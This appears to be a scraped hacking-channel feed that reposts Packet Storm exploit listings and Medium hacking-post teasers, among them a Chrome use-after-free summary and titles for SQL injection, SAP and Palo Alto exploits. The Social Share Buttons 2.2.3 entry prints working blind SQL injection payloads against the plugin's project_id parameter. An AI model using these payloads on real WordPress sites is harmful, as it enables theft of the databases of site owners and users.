Exploit Collector
Chrome LinkToTextMenuObserver::CompleteWithError Heap Use-After-Free

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
A use-after-free issue exists in Chrome 104 and earlier versions. Processing maliciously crafted web content may lead to arbitrary code execution in the browser process. LinkToTextMenuObserver holds a raw pointer to a RenderFrameHost object, but is not owned by the frame host and does not watch for frame host destruction events. Therefore, if an attacker manages to destroy the frame host right after the observer is created but before the timeout task posted in StartLinkGenerationRequestWithTimeout() is executed, use-after-free will occur.

SHA-256 | 071c2f32b441a15bf0f0c6db3397a3899a646938aeb7df15abb5fc345c9589e8

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Social Share Button 2.2.3 SQL Injection

https://2.bp.blogspot.com/-QZ2Sf2sxziM/WWlvZhEG73I/AAAAAAAAIO0/d0s8s4TXkHwnfXzbpubNEBqDxa568NQgwCLcBGAs/s1600/h60.png
Social Share Buttons version 2.2.3 suffers from a remote SQL injection vulnerability.

SHA-256 | edba387a26274cddcb2a94613095db446c2d09af44f88ad54797136ae0a59e31

Download
## Title: Social Share Buttons-2.2.3 SQLi
## Author: nu11secur1ty
## Date: 09.16.2022
## Vendor: https://wordpress.org/
## Software: https://downloads.wordpress.org/plugin/social-share-buttons-by-supsystic.2.2.3.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3
## Description:
The `project_id` parameter from the Social Share Buttons-2.2.3 system
appears to be vulnerable to SQL injection attacks.
The malicious user can dump-steal the database, from this system and
he can use it for very malicious purposes.
WARNING: The attacker can retrieve all-database from this system!
NOTE: The users of this system are NOT protected, this SQL
vulnerability is CRITICAL!

STATUS: HIGH Vulnerability

[+]Payload:

```mysql
---
Parameter: project_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=social-sharing-share&project_id=378116348' or
'3724'='3724' AND 7995=7995 AND 'rQVH'='rQVH&network_id=5&post_id=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=social-sharing-share&project_id=378116348' or
'3724'='3724' AND (SELECT 9167 FROM (SELECT(SLEEP(5)))dQDw) AND
'KWbC'='KWbC&network_id=5&post_id=
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3)

## Proof and Exploit:
[href](https://streamable.com/m9r76w)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Rocket LMS 1.6 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SAP SAProuter Improper Access Control

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Palo Alto Networks Authenticated Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SAP SAPControl Web Service Interface Local Privilege Escalation

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
During my Capture The Flag sessions, I have to navigate through a lot of config files which can…

The sum of small changes make a BIG difference so if you have other “quick-win” like that, you can share it in the commentary section.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Tale Of SSRF To RCE on .GOV Domain

https://cdn-images-1.medium.com/max/1200/0*xAKYP_kYxvvBrXa-
Welcome back, I hope everyone is well. Without further hesitation let’s dive into it!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack Someone’s Phone Remotely Pt. 2

https://cdn-images-1.medium.com/max/2600/0*_e21ruzcqIoOQEUL
It would be best if you kept in mind the alerts and suspicious functioning of your phone to make sure that it is not hacked. But it is…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is it possible to hack any device easily?

https://brandnews5.blogspot.com/2022/09/ubers-electronic-network-has-been.html

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video